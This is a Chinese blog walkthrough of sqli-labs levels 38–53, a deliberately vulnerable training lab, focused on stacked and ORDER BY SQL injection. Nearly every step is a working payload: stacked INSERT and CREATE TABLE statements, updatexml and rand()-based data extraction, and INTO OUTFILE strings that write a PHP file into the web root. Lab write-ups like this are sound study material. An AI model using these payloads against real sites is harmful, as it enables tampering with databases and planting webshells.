Lluna's Pure land.

What is life like when singing to wine?

0%

Sqli_labs_Page3(stacked)

Sqli_labs_Page3(stacked)

本篇大部分考察堆叠注入

0x01.Less-38 GET 堆叠注入 单引号

使用堆叠注入可以进行增删改查等操作

1
?id=0' union select 1,database(),3;insert into users values(22,'sha','gou') -- -

爆库爆表爆字段等操作不在赘述,先查看未注入之前的数据

1
?id=0' union select 1,group_concat(username,0x7e,password),3 from users -- -

再查看注入之后的数据

0x02.Less-39 GET 堆叠注入 整型

同less-38,将单引号去掉即可

0x03.Less-40 GET 基于bool 堆叠注入 单引号+括号

bool注入不在赘述,使用如下payload

1
?id=1');insert into users values(22,'sha','gou') -- -

查看,可以看到插入成功

0x04.Less-41 GET 基于bool 堆叠注入 整型

同less-40,去掉')即可

0x05.Less-42 POST 基于报错 堆叠注入

这里点击注册用户出现如下页面

查看源码发现,password没有进行过滤,此处可以进行注入

1
2
3
4
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

测试发现闭合字符为单引号

注入

这里没有想到好的办法进行爆库爆表爆字段(菜是原罪。。。)

1
insert into users values(55,'de','de') -- -

0x06.Less-43 POST 基于报错 堆叠注入 单引号+括号

同less-42,将单引号换为')即可

1
insert into users values(66,'ha','ha') -- -

0x07.Less-44 POST 基于报错 堆叠注入blind

同less42,但此处'无回显

1
insert into users values(32,'demo','demo') -- -

0x08.Less-45 POST 基于报错 堆叠注入blind

同less42,闭合字符为'),仍然无回显

0x09.Less-46 GET 基于报错 数字 order by

查看源码发现sql语句如下

order by 不同于where,order by 后不能拼接union

1
$sql = "SELECT * FROM users ORDER BY $id";

直接构造报错语句,其他过程不在赘述

1
?sort=0 and updatexml(1,concat(0x7e,database(),0x7e),1) -- -

skip

这里可以使用into outfile配合lines terminated by 0x写入webshell

1
?sort=1 and into outfile "C:\\phpStudy\\WWW\\less46.php" lines  terminated by 3c3f7068700a706870696e666f28293b0a3f3e -- -

这里由于没有权限所以失败了,但这也是一个不错的思路。

0x10.Less-47 GET 基于报错 字符 order by

同上,闭合字符为单引号

1
?sort=0' and updatexml(1,concat(0x7e,database(),0x7e),1) -- -

0x11.Less-48 GET 基于bool 数字 order by

这里使用rand()函数进行回显判断

rand(0)如下

rand(1)如下

爆库

1
2
?sort=rand(left((select database()),1)='a')
?sort=rand(left((select database()),1)='s')

其他过程不在赘述

0x12.Less-49 GET 基于bool 字符 order by

同上,闭合字符为单引号,本次使用导出文件上传webshell

1
?sort=1' and into outfile "/var/www/html/Less-49/demo.php" lines  terminated by 3c3f7068700a706870696e666f28293b0a3f3e -- -

这里3c3f7068700a706870696e666f28293b0a3f3e为的16进制

0x13.Less-50 基于报错 GET order by 数字 堆叠注入

查看源码发现,将mysql_query()函数换为了mysqli_multi_query()函数 ,可以多语句查询,所以可以使用堆叠注入

1
?sort=1;create table demo like users; -- -

其他过程不在赘述

0x014.Less-51 基于报错 GET order by 字符 堆叠注入

同上,闭合字符为单引号

1
?sort=1';create table demo like users; -- -

0x15.Less-52 基于bool GET order by 数字 堆叠注入

同上直接堆叠注入即可

1
?sort=1;create table hade like users; -- -

0x16.Less-53 基于bool GET order by 字符 堆叠注入

同上,闭合字符为单引号,直接堆叠注入即可

1
?sort=1';create table qq like users; -- -
-------------纸短情长下次再见-------------